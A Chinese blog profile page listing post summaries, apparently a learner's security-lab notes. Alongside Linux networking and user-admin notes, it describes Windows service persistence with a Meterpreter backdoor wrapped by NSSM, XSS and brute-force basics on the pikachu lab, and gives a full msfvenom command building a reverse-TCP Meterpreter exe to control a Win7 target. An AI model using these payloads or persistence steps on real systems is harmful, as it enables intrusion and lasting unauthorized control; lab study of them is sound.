- 博客(7)
- 收藏
- 关注
RSS订阅原创 Windows服务持久化
思路：1.生成Meterpreter反向exe木马2.使用NSSM将木马封装为Windows服务3.设置服务启动类型auto，开机自启动4.木马开机运行，主动向外连接攻击者监听端，维持控制。原理：恶意程序封装成系统服务，设置启动类为自动，开机有SCM服务控制管理器自动拉起，实现后门持久驻留。优点：服务器默认LocalSystem高权限，隐蔽性较强，随系统开机自动运行。6.启动恶意服务，执行后门程序，主动回连kali的msf监听（需管理员权限）攻击机（kali）//靶机（win10）//监听端口：6666。
2026-11-01 16:28:02
77
原创 XSS(跨站脚本)pikachu
全称：Cross-Site Scripting，简称“CSS”；取名XSS为了与CSS（层叠样式表）区分本质：攻击者将恶意脚本注入到正常网页中，当用户访问该页面时，脚本在受害者浏览器内执行注意：web漏洞，前端，攻击目标是访问网站的用户，不是网站服务器本身原理：网站没有对用户输入的内容做足够过滤/转义，直接把用户可控数据输入到HTML页面里，受害者打开页面，浏览器分不清这段内容是正常代码还是恶意脚本，就会执行恶意JS输入过滤：对输入进行过滤，不允许可能导致XSS攻击的字符输入。
2026-09-26 13:03:18
212
原创 pikachu暴力破解四种类型
web攻击，获取应用系统的认证信息，一般带有字典的工具进行自动化操作其过程：使用大量认证信息在认证接口进行尝试登录，知道得到正确结果安全策略：1.用户设置复杂密码2.每次认证使用安全的验证码3.对尝试登录行为进行判断和限制（例如：连续3次错误登录，进行账号或IP地址锁定等）4.采用双因素认证本质：Burp/脚本循环批量发送请求，不断换密码尝试。
2026-09-12 15:16:56
140
原创 rocky linux8 网络配置
1.nmcli connection modify ens160 ipv4.method auto>>接口配置为DHCP。set ipv4.addresses (静态IP地址)/24>>设置静态IP地址，/24是子网前缀长度表示方法。4.nmcli connection up ens160>>重新激活连接。3.nmcli connection up ens160>>激活配置。2.nmcli connection up ens160>> 激活。3.>>切换DHCP并清除静态IP配置。
2025-12-30 22:42:34
465
1
原创 linux手动添加用户
ls查看gshadow的写权限（跟shadow一样要有写权限，如没有同上文一样操作）vi修改/etc/gshadow文件内容，添加用户组密码信息【编辑内容看图三】vi编辑/etc/shadow文件内容，添加用户密码信息【编辑内容看图三】vi修改/etc/group文件内容，添加用户组信息【编辑内容看图二】1.修改/etc/passwd文件内容，添加用户（jiabei）信息。ls -a查看/etc/skel目录文件（ls查看是隐藏的）vi编辑/etc/passwd【编辑内容看图二】ls -la再次查看。
2025-12-30 12:03:35
248
原创 反向连接（最简单）
输入 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=kali的ip LPORT=端口 -f exe -o 文件名.exe。反向连接：受害机器（客户端）主动向外连接攻击者控制的服务器（服务端）。第二条是在攻破 64 位 Windows 系统后，建立一个稳定、隐蔽、功能丰富的远程控制通道。反向连接成功，获得win7控制权。第一条是用于接收和管理由反向shell荷载发起的反向连接。4.将生成的rr.exe经本机复制到win7。2.在root权限下。
2025-11-01 11:56:18
202
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人